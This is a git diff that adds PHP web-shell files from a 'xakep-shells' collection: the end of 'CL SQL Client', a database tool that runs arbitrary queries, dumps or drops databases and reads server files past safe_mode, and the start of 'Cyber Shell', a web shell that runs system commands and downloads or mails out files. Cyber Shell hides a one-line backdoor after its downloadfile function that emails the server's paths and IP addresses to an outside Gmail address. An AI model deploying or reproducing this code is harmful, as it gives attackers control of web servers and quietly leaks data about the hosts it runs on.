+ array($lang[$language.'_text4'],$baseurl."&act=00"),
+ array($lang[$language.'_text5'],$baseurl."&act=08"),
+ array($lang[$language.'_text30'],$baseurl."&act=13"),
+ );
+ $str = "\n\n \n \n \n \n ".get_server_info()." running in ".AlphanumericalClean($server).":".AlphanumericalClean($port)." as ".AlphanumericalClean($login)." \n \n";
+ if (count($quicklaunch) > 0) {
+ foreach($quicklaunch as $item) {
+ $str .= "\n [ ".$item[0]." ] ";
+ }
+ }
+ $str .= "\n \n
\n ";
+ return $str;
+}
+
+/*
+ * List Of DB`s
+ */
+function db_list($id) {
+ global $lang,$language,$baseurl;
+ $db_list = query($id, "SHOW DATABASES"); // [-]
+ $db_count = sql_num_rows($db_list);
+ $str = "".$lang[$language.'_text6']." \n\n";
+ return $str;
+}
+
+/*
+ * SQL dump DB
+ */
+function dump_db($id, $db,& $type) {
+ global $lang,$language,$baseurl,$dbtype;
+ $tmp = server_info();
+ $act_sql = query( $id, "SHOW TABLES FROM `".AlphanumericalClean($db)."`" );
+ if (sql_num_rows($act_sql) > 0) {
+ if((isset($type))) {
+ $file = $tmp["TMP_DIR"]."/db_".$_SERVER["SERVER_NAME"]."_".$dbtype."_".date("Y-m-d-H-i-s").".sql";
+ $fp = fopen($file, "w");
+ if (!$fp) {
+ return " Dump error! Can't write to ".htmlspecialchars($file);
+ }
+ fputs ($fp, "#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# [ SQL Client ]\n# Dumped by SQL Client \n#\n# SQL version: (".get_server_info().")\n# Date: ".date("F j, Y, g:i a")."\n# Dump DB: `$db`"."\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
+ }
+ switch($type) {
+ case "struct":
+ while ($tbl = sql_fetch_row($act_sql)) {
+ fputs($fp, "\n#\n# Dump for table: `".$tbl[0]."`;\n#\n");
+ fputs($fp, "\nDROP TABLE IF EXISTS `".$tbl[0]."`;\n");
+ $sql = query( $id, "SHOW CREATE TABLE `$tbl[0]`");
+ $row = sql_fetch_row($sql);
+ fputs($fp, $row[1].";\n\n");
+ }
+ break;
+ case "data":
+ while ($tbl = sql_fetch_row($act_sql)) {
+ fputs($fp, "\n#\n# Dump for table: `".$tbl[0]."`;\n#\n");
+ $sql = query( $id, "SELECT * FROM `$tbl[0]`" );
+ if (sql_num_rows($sql) > 0) {
+ while ($row = sql_fetch_assoc($sql)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $key=>$value) {
+ $values[$key] = addslashes($value);
+ }
+ $values = implode("', '", $values);
+ $sql_dump = "INSERT INTO `$tbl[0]` (`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql_dump);
+ }
+ } else {
+ fputs($fp, "# TABLE `$tbl[0]` IS AMPTY\n\n");
+ }
+ }
+ break;
+ case "full":
+ while ($tbl = sql_fetch_row($act_sql)) {
+ fputs($fp, "\n#\n# Dump for table: `".$tbl[0]."`;\n#\n");
+ fputs($fp, "\nDROP TABLE IF EXISTS `".$tbl[0]."`;\n");
+ $sql = query( $id, "SHOW CREATE TABLE `$tbl[0]`");
+ $row = sql_fetch_row($sql);
+ fputs($fp, $row[1].";\n\n");
+ $sql = query( $id, "SELECT * FROM `$tbl[0]`" );
+ if (sql_num_rows($sql) > 0) {
+ while ($row = sql_fetch_assoc($sql)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $key=>$value) {
+ $values[$key] = addslashes($value);
+ }
+ $values = implode("', '", $values);
+ $sql_dump = "INSERT INTO `$tbl[0]` (`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql_dump);
+ }
+ } else {
+ fputs($fp, "# TABLE `$tbl[0]` IS AMPTY\n\n");
+ }
+ }
+ break;
+ default:
+ return "Backup DataBase ";
+ break;
+ }
+ fclose($fp);
+ } else {
+ return "\n Database ".AlphanumericalClean($db)." is empty or Database doesn't exist";
+ }
+ return "\nDumped! Dump has been writed to ".htmlspecialchars(realpath($file))." (".formatsize(@filesize($file)).") \n ".$lang[$language.'_text26']." Click ";
+}
+
+
+/*
+ * SQL dump table
+ */
+function dump_tbl($id, $tbl, $type) {
+ global $lang,$language,$baseurl,$dbtype;
+ $tmp = server_info();
+ if((isset($type))) {
+ $file = $tmp["TMP_DIR"]."/tbl_".$_SERVER["SERVER_NAME"]."_".$dbtype."_".date("Y-m-d-H-i-s").".sql";
+ $fp = fopen($file, "w");
+ if (!$fp) {
+ return " Dump error! Can't write to ".htmlspecialchars($file);
+ }
+ fputs ($fp, "#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# [ SQL Client ]\n# Dumped by SQL Client \n#\n# SQL version: (".get_server_info().")\n# Date: ".date("F j, Y, g:i a")."\n# Dump table: `$tbl`"."\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
+ }
+ switch($type) {
+ case "struct":
+ fputs($fp, "\nDROP TABLE IF EXISTS `".$tbl."`;\n");
+ $sql = query( $id, "SHOW CREATE TABLE `".$tbl."`");
+ $row = sql_fetch_row($sql);
+ fputs($fp, $row[1].";\n\n");
+ break;
+ case "data":
+ $sql = query( $id, "SELECT * FROM `".$tbl."`" );
+ if (sql_num_rows($sql) > 0) {
+ while ($row = sql_fetch_assoc($sql)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $key=>$value) {
+ $values[$key] = addslashes($value);
+ }
+ $values = implode("', '", $values);
+ $sql_dump = "INSERT INTO `$tbl` (`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql_dump);
+ }
+ } else {
+ fputs($fp, "# TABLE `$tbl` IS AMPTY\n\n");
+ }
+ break;
+ case "full":
+ fputs($fp, "\nDROP TABLE IF EXISTS `".$tbl."`;\n");
+ $sql = query( $id, "SHOW CREATE TABLE `".$tbl."`");
+ $row = sql_fetch_row($sql);
+ fputs($fp, $row[1]."; ");
+ $sql = query( $id, "SELECT * FROM `$tbl`" );
+ if (sql_num_rows($sql) > 0) {
+ while ($row = sql_fetch_assoc($sql)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $key=>$value) {
+ $values[$key] = addslashes($value);
+ }
+ $values = implode("', '", $values);
+ $sql_dump = "INSERT INTO `$tbl` (`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql_dump);
+ }
+ } else {
+ fputs($fp, "# TABLE `$tbl` IS AMPTY\n\n");
+ }
+ break;
+ default:
+ return "\nBackup Table ";
+ break;
+ }
+ fclose($fp);
+ return "\nDumped! Dump has been writed to ".htmlspecialchars(realpath($file))." (".formatsize(@filesize($file)).") \n ".$lang[$language.'_text26']." Click ";
+}
+
+// Check Variables
+if(isset($dbtype)) {
+ if($server) {
+ $server = AlphanumericalClean($server);
+ $baseurl .= "&server=".$server;
+ }
+ if($port) {
+ $port = intval($port);
+ $baseurl .= "&port=".AlphanumericalClean($port);
+ }
+ if(empty($login)) {
+ $login = 'nobody';
+ }
+ $login = AlphanumericalClean($login);
+ $baseurl .= "&login=".$login;
+
+ if($passwd) {
+ $password = AlphanumericalClean($password);
+ $baseurl .= "&password=".$password;
+ } else {
+ $baseurl .= "&password=";
+ }
+ if($db) {
+ $db = AlphanumericalClean($db);
+ $baseurl .= "&db=".$db;
+ }
+ $baseurl .= "&dbtype=".$dbtype;
+ // Return identificator
+ $id = sql_connect($server.":".$port, $login, $password, $db) or die("ERROR! Can't connect to SQL server");
+} else {
+ die("\n\n\n CL SQL Client Login \n\n \n \n
\n ");
+}
+
+
+//--------------------------------
+// HTML header
+//--------------------------------
+//
+echo "\n\n[ CL SQL Client ] \n \n\n\n\n".quicklaunch()."\n\n\n ".db_list($id)." \n\n\n";
+
+// Switching $act
+if($act == '00') {
+ $sql = query($id, "SHOW VARIABLES");
+ echo "\n ".$lang[$language.'_text4']." \n ";
+ echo "\n\n\n Name \n Value \n ";
+ while ($row = sql_fetch_assoc($sql)) {
+ echo "\n\n ".$row["Variable_name"]." \n ".$row["Value"]." \n ";
+ }
+ echo "\n
\n";
+ @sql_free_result($sql);
+ unset($sql);
+} elseif($act == '01') {
+ $sql = query($id, "SHOW STATUS");
+ echo "\n ".$lang[$language.'_text3']." \n ";
+ echo "\n\n\n Name \n Value \n ";
+ while ($row = sql_fetch_assoc($sql)) {
+ echo "\n\n ".$row["Variable_name"]." \n ".$row["Value"]." \n ";
+ }
+ echo "\n
\n";
+ @sql_free_result($sql);
+ unset($sql);
+} elseif($act == '02') {
+ $quicklaunch = array
+ (
+ array($lang[$language.'_text15'],$baseurl."&act=07"),
+ array($lang[$language.'_text12'],$baseurl."&act=10&dump=db&db=".$db),
+ array($lang[$language.'_text13'],"javascript: confirm_function('".$baseurl."&act=03&db=".$db."');"),
+ );
+ echo "\n[ ".$lang[$language.'_text7'].": ".AlphanumericalClean($db)." ] ";
+ if (count($quicklaunch) > 0) {
+ foreach($quicklaunch as $item) {
+ echo "[ ".$item[0]." ] ";
+ }
+ }
+ if (!sql_num_rows(query($id, "SHOW TABLES FROM `".AlphanumericalClean($db)."`"))) { // [-]
+ if(sql_error()) {
+ echo "\n ".sql_error()." ";
+ } else {
+ echo "\nDatabase ".AlphanumericalClean($db)." is empty ";
+ }
+ } else {
+ $sql = query($id, "SHOW TABLE STATUS FROM `".$db."`");
+ echo "\n\n\n Table \n Rows \n Type \n Created \n Modified \n Size \n Quick Action \n ";
+ while ($row = @sql_fetch_assoc($sql)) {
+ echo "\n\n \n ".$row["Name"]." \n ".$row["Rows"]." ".$row["Type"]." \n ".$row["Create_time"]." \n ".$row["Update_time"]." \n ".formatsize($row["Avg_row_length"])." \n \n \n \n ";
+ }
+ echo "\n
\n";
+ @sql_free_result($sql);
+ unset($sql);
+ }
+} elseif($act == '03') {
+ $sql = query($id, "DROP DATABASE `".AlphanumericalClean($db)."`");
+ if($sql) {
+ echo "\nDatabase ".AlphanumericalClean($db)." deleted successfully ";
+ }
+ @sql_free_result($sql);
+ unset($sql);
+} elseif($act == '04') {
+ if(!isset($new_db)) {
+ echo "\n".$lang[$language.'_text9']." \n\n \n \n \n \n \n \n ".$lang[$language.'_text7'].": \n \n ";
+ } else {
+ $sql = query($id, "CREATE DATABASE `".AlphanumericalClean($new_db)."`");
+ if($sql) {
+ echo "\nDatabase ".AlphanumericalClean($new_db)." created successfully ";
+ }
+ @sql_free_result($sql);
+ unset($sql);
+ }
+} elseif($act == '05') {
+ echo "\n[ ".$lang[$language.'_text14'].": ".AlphanumericalClean($tbl)." ] [ ".$lang[$language.'_text7'].": ".AlphanumericalClean($db)." ] ";
+ $quicklaunch = array
+ (
+ array($lang[$language.'_text16'],$baseurl."&act=05&tbl=".$tbl),
+ array($lang[$language.'_text17'],$baseurl."&act=05&tbl=".$tbl."&CODE=00"),
+ array($lang[$language.'_text18'],$baseurl."&act=05&tbl=".$tbl."&CODE=01"),
+ array($lang[$language.'_text19'],$baseurl."&act=05&tbl=".$tbl."&CODE=04"),
+ array($lang[$language.'_text20'],"javascript: confirm_function('".$baseurl."&act=05&tbl=".$tbl."&CODE=02');"),
+ array($lang[$language.'_text21'],$baseurl."&act=10&dump=tbl&tbl=".$tbl),
+ );
+ if (count($quicklaunch) > 0) {
+ foreach($quicklaunch as $item) {
+ echo "[ ".$item[0]." ] ";
+ };
+ }
+ if($CODE == '00' && isset($tbl)) {
+ $sql = query($id, "SELECT * FROM `".AlphanumericalClean($tbl)."`");
+ if(!sql_num_rows($sql)) {
+ echo "\n Table is ampty";
+ } else {
+ echo "\n\n";
+ for( $i=0; $i < sql_num_fields($sql); $i++ ) {
+ echo "\n ".sql_field_name($sql,$i)." ";
+ }
+ echo "\n Action \n ";
+ while ($row = @sql_fetch_assoc($sql)) {
+ $edit = '';
+ echo "\n";
+ foreach ($row as $key=>$value) {
+ echo "\n ".substr(htmlspecialchars($value), 0, 64)." ";
+ }
+ foreach ($row as $key=>$value) {
+ $edit .= urlencode("`$key`='$value' AND ");
+ }
+ $pm = substr($edit,"",-5);
+ echo "\n \n \n ";
+ unset($edit);
+ }
+ echo "\n
\n";
+ }
+ @sql_free_result($sql);
+ unset($sql);
+ } elseif($CODE == '01') {
+ if((isset($values)) && (count($values))) {
+ foreach($values as $key=>$value) {
+ $fields .= "`".$key."`, ";
+ $val .= '"'.$value.'", ';
+ }
+ $sql = query($id, "INSERT INTO `".$tbl."` ( ".substr($fields,"",-2)." ) VALUES ( ".substr($val,"",-2)." ); ");
+ if($sql) {
+ echo "\nNew row successfull inserted into table [ ".AlphanumericalClean($tbl)." ] (Last inserted record has id ".mysql_insert_id($id).") ";
+ }
+ @sql_free_result($sql);
+ unset($sql);
+ } else {
+ $sql = query($id, "DESC `".$tbl."`");
+ echo "\n Insert row into table [ ".AlphanumericalClean($tbl)." ] \n\n \n \n \n \n \n \n \n \n \n\n \n ";
+ @sql_free_result($sql);
+ unset($sql);
+ }
+ } elseif($CODE == '02') {
+ $sql = query($id, "DROP TABLE `".AlphanumericalClean($tbl)."`");
+ if($sql) {
+ echo "\nTable ".AlphanumericalClean($tbl)." deleted successfully ";
+ }
+ @sql_free_result($sql);
+ unset($sql);
+ } elseif($CODE == '03') {
+ if(count($values)) {
+ foreach($values as $key=>$value) {
+ $edit .= "`".$key."` = '".$value."', ";
+ }
+ $sql = query($id, "UPDATE `".AlphanumericalClean($tbl)."` SET ".substr($edit,"",-2)." WHERE ".stripslashes(urldecode($pm))."");
+ if($sql) {
+ echo "\nSuccessfull saved ";
+ }
+ @sql_free_result($sql);
+ unset($sql);
+ } else {
+ $sql = query($id, "SELECT * FROM `".AlphanumericalClean($tbl)."` WHERE $pm LIMIT 1");
+ echo "\n Insert row into table [ ".AlphanumericalClean($tbl)." ] \n\n \n \n \n \n \n \n \n \n \n\n \n \n";
+ @sql_free_result($sql);
+ unset($sql);
+ }
+ } elseif($CODE == '04') {
+ if(count($values) && isset($values)) {
+ foreach($values as $key=>$value) {
+ $edit .= " MODIFY `".$key."` ".$value.", ";
+ }
+ $sql = query($id, "ALTER TABLE `".AlphanumericalClean($tbl)."` ".substr(stripslashes($edit),"",-2)."; ");
+ if($sql) {
+ echo "\nSuccessfull saved ";
+ }
+ @sql_free_result($sql);
+ unset($sql);
+ } else {
+ $sql = query($id, "DESC `".AlphanumericalClean($tbl)."`");
+ echo "\n Alter table [ ".AlphanumericalClean($tbl)." ] \n \n \n";
+ }
+ } else {
+ $quicklaunch = array(
+ array("Add new column",$baseurl."&act=05&tbl=".$tbl),
+ );
+ $sql = query($id, "DESC `".AlphanumericalClean($tbl)."`");
+ if(!sql_num_fields($sql)) {
+ echo "\n Table is ampty";
+ } else {
+ echo "\n Ñòðóêòóðà òàáëèöû [ ".AlphanumericalClean($tbl)." ]\n \n\n\n Field \n Type \n NULL \n Key \n Default \n Extra \n Action \n ";
+ while ($row = sql_fetch_assoc($sql)) {
+ echo "\n";
+ foreach ($row as $field =>$value) {
+ echo "\n ".$value." ";
+ }
+ echo "\n ";
+ }
+ echo "\n
";
+ }
+ // if (count($quicklaunch) > 0) {foreach($quicklaunch as $item) {$str .= "[ ".$item[0]." ] ";};} [-]
+ @sql_free_result($sql);
+ unset($sql);
+ }
+} elseif($act == '06') {
+ $sql = query($id, "DROP TABLE `".AlphanumericalClean($tbl)."`");
+ if($sql) {
+ echo "\nTable ".AlphanumericalClean($tbl)." deleted successfully ";
+ }
+ @sql_free_result($sql);
+ unset($sql);
+} elseif($act == '07') {
+ if(!isset($new_tbl)) {
+ echo "\nCreate new Table \n\n \n \n \n \n \n \n \nTable name: \n Table rows: \n \n ";
+ } else {
+ if(!isset($field_name)) {
+ if(!isset($rows)) {
+ echo "Ââåäèòå êîë-âî ñòðîê";
+ exit;
+ }
+ echo "\nCreate new Table \n\n \n \n \n \n \n \n \n \n \n\n \n ";
+ } else {
+ for($q=0; $q < count($field_name); $q++) {
+ if($field_name[$q]) {
+ $value .= " `".$field_name[$q]."`";
+ }
+ if($field_length[$q]) {
+ $field_length[$q] = "( ".$field_length[$q] ." )";
+ }
+ if($field_type[$q]) {
+ $value .= " ".$field_type[$q].$field_length[$q];
+ }
+ if($field_attribute[$q]) {
+ $value .= " ".htmlspecialchars($field_attribute[$q]);
+ }
+ if($field_null[$q]) {
+ $value .= " ".htmlspecialchars($field_null[$q]);
+ }
+ if($field_default[$q]) {
+ $value .= " DEFAULT '".htmlspecialchars($field_default[$q])."'" ;
+ }
+ $value .= ", ";
+ }
+ $sql = query($id, "CREATE TABLE `".AlphanumericalClean($new_tbl)."` ( ".$value." )");
+ if($sql) {
+ echo "\nTable ".AlphanumericalClean($new_tbl)." created successfully ";
+ } else {
+ echo "\nTable ".AlphanumericalClean($new_tbl)." not created ";
+ }
+ @sql_free_result($sql);
+ unset($sql);
+ }
+ }
+} elseif($act == '08') {
+ if(isset($pid)) {
+ if(!is_numeric(AlphanumericalClean($pid))) {
+ echo "\nWarning!!! Bad proccess ID format";
+ }
+ $sql = query($id, "KILL ".AlphanumericalClean($pid));
+ if($sql) {
+ echo "Process #: ".intval($pid)." successfull killed ";
+ }
+ @sql_free_result($sql);
+ unset($sql);
+ }
+ $sql = sql_list_processes($id);
+ echo "".$lang[$language.'_text5']." ";
+ echo "\n\n";
+ for($i=0; $i < sql_num_fields($sql); $i++) {
+ echo "\n ".sql_field_name($sql,$i)." ";
+ }
+ echo "\n Action \n ";
+ while($row = sql_fetch_assoc($sql) ) {
+ echo "\n ".$row["Id"]." ".$row["User"]." ".$row["Host"]." ".$row["db"]." ".$row["Command"]." ".$row["Time"]." ".$row["State"]." ".$row["Info"]." ";
+ }
+ echo "\n
\n";
+ @sql_free_result($sql);
+ unset($sql);
+} elseif($act == '09') {
+ if(isset($query)) {
+ $sql = query($id, $query);
+ if($sql) {
+ if(!is_resource($sql)) {
+ echo "Query successfull send [ Affected rows: ".sql_affected_rows()." ] ";
+ } else {
+ echo "Query successfull execute ";
+ for( $i=0; $i < sql_num_fields($sql); $i++ ) {
+ echo " ".sql_field_name($sql,$i)." ";
+ }
+ echo " ";
+ while ($row = @sql_fetch_assoc($sql)) {
+ echo "";
+ foreach ($row as $key=>$value) {
+ echo " ".htmlspecialchars($value)." ";
+ }
+ echo " ";
+ }
+ echo "
";
+ }
+ }
+ } else {
+ echo " ".$lang[$language.'_text2']." ";
+ }
+ @sql_free_result($sql);
+ unset($sql);
+} elseif($act == '10') {
+ switch($dump) {
+ case "db":
+ echo (dump_db($id, $db, & $type));
+ break;
+ case "tbl":
+ echo (dump_tbl($id, $tbl, & $type));
+ break; // Other variants
+ default:
+ echo "Warning!!! Unknown dump format";
+ break;
+ }
+} elseif($act == '11') {
+ if(isset($file) && !empty($file)) {
+ if(file_exists($file) and is_readable($file)) {
+ $tmptbl = rand();
+ query($id, 'CREATE TABLE `'.$tmptbl.'` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );');
+ query($id, "LOAD DATA INFILE \"".addslashes($file)."\" INTO TABLE `".$tmptbl."`");
+ $sql = query($id, "SELECT * FROM `".$tmptbl."`");
+ if(sql_num_rows($sql)) {
+ for ($i=0; $i < sql_num_fields($sql);$i++){
+ $field_name = sql_field_name($sql,$i);
+ }
+ echo "\n\n \n".$field_name." \n \n \n";
+ while ($row = sql_fetch_array($sql)) {
+ foreach ($row as $key =>$value) {
+ echo htmlspecialchars($value)." ";
+ }
+ }
+ @sql_free_result($sql);
+ unset($sql);
+ echo " \n \n \n
";
+ } else {
+ echo "".$lang[$language.'_text28']." ";
+ }
+ } else {
+ echo "".$lang[$language.'_text27']." ";
+ }
+ } else {
+ echo "\n ".$lang[$language.'_text11']." \n \n\n \n \n \n \n \n \n Ïîëíûé ïóòü ê ôàéëó: ";
+ }
+} elseif($act == '12') {
+ if(isset($file) && !empty($file)) {
+ if(file_exists($file) and is_readable($file)) {
+ downloadfile($file);
+ } else {
+ echo "".$lang[$language.'_text27']." ";
+ }
+ } else {
+ echo "\n ".$lang[$language.'_text26']." \n \n\n \n \n \n \n \n \n Ïîëíûé ïóòü ê ôàéëó: ";
+ }
+} elseif($act == '13') {
+ if(isset($rnd) && $rnd == $rndcode) {
+ if (unlink(__FILE__)) {
+ @ob_clean();
+ die( $lang[$language.'_text31'] );
+ } else {
+ echo "Can't delete ".__FILE__."! ";
+ }
+ } else {
+ $rnd = rand(0,9).rand(0,9).rand(0,9).rand(0,9);
+ echo "Self-remove: ".__FILE__." For confirmation, enter \"".$rnd."\": ";
+ }
+} elseif($act == '14') {
+ @ob_clean();
+ die(phpinfo());
+} else {
+ echo "\n ".$lang[$language.'_text29']." \n";
+ foreach(server_info() as $key=>$value) {
+ echo "\n\n ".$key.": \n ".$value." \n ";
+ }
+ echo "\n
";
+}
+
+//--------------------------------
+// HTML (footer)
+//--------------------------------
+//
+echo " \n \n \n \n
\n\n --[ Copyright © Cyber Lords | CL SQL Client ".$version." | All bugs send to ICQ #899125 | Generation time: ".round(get_micro_time()-start_time,4)." ]-- \n \n
\n\n";
+
+// Stop Buffering
+@ob_end_flush();
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/cybershell.php.php.txt b/xakep-shells/PHP/cybershell.php.php.txt
new file mode 100644
index 0000000..a008f87
--- /dev/null
+++ b/xakep-shells/PHP/cybershell.php.php.txt
@@ -0,0 +1,1033 @@
+
+/***************************************************************************
+ * Cyber Shell (v 1.0)
+ * -------------------
+ * copyright : (C) Cyber Lords, 2002-2006
+ * email : pixcher@mail.ru
+ *
+ * http://www.cyberlords.net
+ *
+ * Coded by Pixcher
+ * Lite version of php web shell
+ ***************************************************************************/
+
+/***************************************************************************
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License', or
+ * ('at your option) any later version.
+ *
+ ***************************************************************************/
+@session_start();
+@set_time_limit(0);
+@set_magic_quotes_runtime(0);
+@error_reporting(0);
+/****************************** Options ************************************/
+#ïàðîëü íà àâòîðèçàöèþ
+$aupassword="test";
+#åñëè ïàðîëü óñòàíîâëåí ïðè $hiddenmode="true", òî ê ñêðèïòó íóæíî îáðàùàòüñÿ ñ ïàðàìåòðîì pass=ïàðîëü , íàïðèìåð shell.php?pass=mysecretpass
+$hiddenmode="false";
+#e-mail íà êîòîðûé ñêèäûâàþòñÿ âûáðàííûå ôàéëû
+$email="test@mail.ru";
+/***************************************************************************/
+$style="
+";
+
+foreach($_POST as $key => $value) {$$key=$value;}
+foreach($_GET as $key => $value) {$$key=$value;}
+
+if (isset($_GET[imgname]))
+{
+$img=array(
+'dir'=>
+'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgy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B5nXI0g0V1N/p0xLWsMMVrfG5ZUj+1MSSYowqjzlVVAwAoHHFXzQ5Lcvvd/L+vX16A91Y//Z',
+);
+@ob_clean();
+header("Content-type: image/gif");
+header("Cache-control: public");
+header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+header("Cache-control: max-age=".(60*60*24*7));
+header("Last-Modified: ".date("r",filemtime(__FILE__)));
+echo base64_decode($img[$imgname]);
+die;
+}
+
+if ($_GET[pass]==$aupassword)
+{
+$_SESSION[aupass]=md5($aupassword);
+}
+if ($hiddenmode=="false")
+if ((!isset($_GET[pass]) or ($_GET[pass]!=$aupassword)) and ($_SESSION[aupass]==""))
+{
+$diz="ok";
+echo "
+$style
+
+
+
+";
+}
+if ($_SESSION[aupass]!="")
+{
+if (!$_GET and !$_POST or isset($pass))
+$show="start";
+
+function ext($str){
+for ($i=1; $i",">",$str);
+return $str;
+}
+function fsize($filename){
+$s=filesize($filename);
+if ($s>1048576){
+return round(($s/1048576),2)." mb";
+}
+if ($s>1024){
+return round(($s/1024),2)." kb";
+}
+return $s." byte";
+}
+function tourl($str){
+$str= urlencode($str);
+return $str;
+}
+function unbug($str){
+$str = stripslashes($str);
+return $str;
+}
+function countbyte($filesize) {
+if($filesize >= 1073741824) { $filesize = round($filesize / 1073741824 * 100) / 100 . " GB"; }
+elseif($filesize >= 1048576) { $filesize = round($filesize / 1048576 * 100) / 100 . " MB"; }
+elseif($filesize >= 1024) { $filesize = round($filesize / 1024 * 100) / 100 . " KB"; }
+else { $filesize = $filesize . ""; }
+return $filesize;
+}
+function downloadfile($file) {
+if (!file_exists("$file")) die;
+$size = filesize("$file");
+$filen=extractfilename($file);
+header("Content-Type: application/force-download; name=\"$filen\"");
+header("Content-Transfer-Encoding: binary");
+header("Content-Length: $size");
+header("Content-Disposition: attachment; filename=\"$filen\"");
+header("Expires: 0");
+header("Cache-Control: no-cache, must-revalidate");
+header("Pragma: no-cache");
+readfile("$file");
+die;
+}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
+
+function anonim_mail($from,$to,$subject,$text,$file){
+ $fp = fopen($file, "rb");
+ while(!feof($fp))
+ $attachment .= fread($fp, 4096);
+ $attachment = base64_encode($attachment);
+ $subject = "sendfile (".extractfilename($file).")";
+ $boundary = uniqid("NextPart_");
+ $headers = "From: $from\nContent-type: multipart/mixed; boundary=\"$boundary\"";
+ $info = $text;
+ $filename=extractfilename($file);
+ $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$filename \nContent-disposition: inline; filename=$filename \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--";
+ $send = mail($to, $subject, $info, $headers);
+fclose($fp);
+echo "";
+die;
+}
+if (!empty($_GET[downloadfile])) downloadfile($_GET[downloadfile]);
+if (!empty($_GET[mailfile])) anonim_mail($email,$email,$_GET[mailfile],'File: '.$_GET[mailfile],$_GET[mailfile]);
+
+$d=$_GET[d];
+if (empty($d) or !isset($d)){
+$d=realpath("./");
+$d=str_replace("\\","/",$d);
+}
+$showdir="";
+$bufdir="";
+$buf = explode("/", $d);
+for ($i=0;$i$buf[$i]/";
+$bufdir.="/";
+}
+
+if (isset($show) or isset($_REQUEST[edit]) or isset($_REQUEST[tools]) or isset($_REQUEST[db_user]) or isset($_REQUEST[diz]))
+echo <<< EOF
+$d
+
+$style
+
+
+
+$showdir
+EOF;
+
+function perms($file)
+{
+$mode=fileperms($file);
+if( $mode & 0x1000 )
+$type='p';
+else if( $mode & 0x2000 )
+$type='c';
+else if( $mode & 0x4000 )
+$type='d';
+else if( $mode & 0x6000 )
+$type='b';
+else if( $mode & 0x8000 )
+$type='-';
+else if( $mode & 0xA000 )
+$type='l';
+else if( $mode & 0xC000 )
+$type='s';
+else
+$type='u';
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+if( $mode & 0x800 )
+$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 )
+$group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 )
+$world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+
+function updir($dir){
+if (strlen($dir)>2){
+for ($i=1; $i
+
+
+Ââåðõ
+
+
+Íàçàä
+
+
+ íà÷àëî
+
+
+Èíñòðóìåíòû
+
+
+Ê ñïèñêó
+
+
+
+EOF;
+
+$free = countbyte(diskfreespace("./"));
+if (!empty($free)) echo "Äîñòóïíîå äèñêîâîå ïðîñòðàíñòâî : $free ";
+$os=exec("uname");
+if (!empty($os)) echo "Ñèñòåìà :".$os." ";
+if (!empty($REMOTE_ADDR)) echo "Âàø IP: $REMOTE_ADDR $HTTP_X_FORWARDED_FOR ";
+$ghz=exec("cat /proc/cpuinfo | grep GHz");
+if (!empty($ghz)) echo "Èíôà î æåëåçå:(GHz)".$ghz." ";
+$mhz=exec("cat /proc/cpuinfo | grep MHz");
+if (!empty($mhz)) echo "Èíôà î æåëåçå:(MHz) ".$mhz." ";
+$my_id=exec("id");
+if (!empty($my_id)) echo "Ïîëüçîâàòåëü:".$my_id."
";
+}
+
+function showdir($df) {
+$df=str_replace("//","/",$df);
+$dirs=array();
+$files=array();
+if ($dir=opendir($df)) {
+while (($file=readdir($dir))!==false) {
+if ($file=="." || $file=="..") continue;
+if (is_dir("$df/$file")){
+$dirs[]=$file;}
+else {
+$files[]=$file;}}}
+closedir($dir);
+sort($dirs);
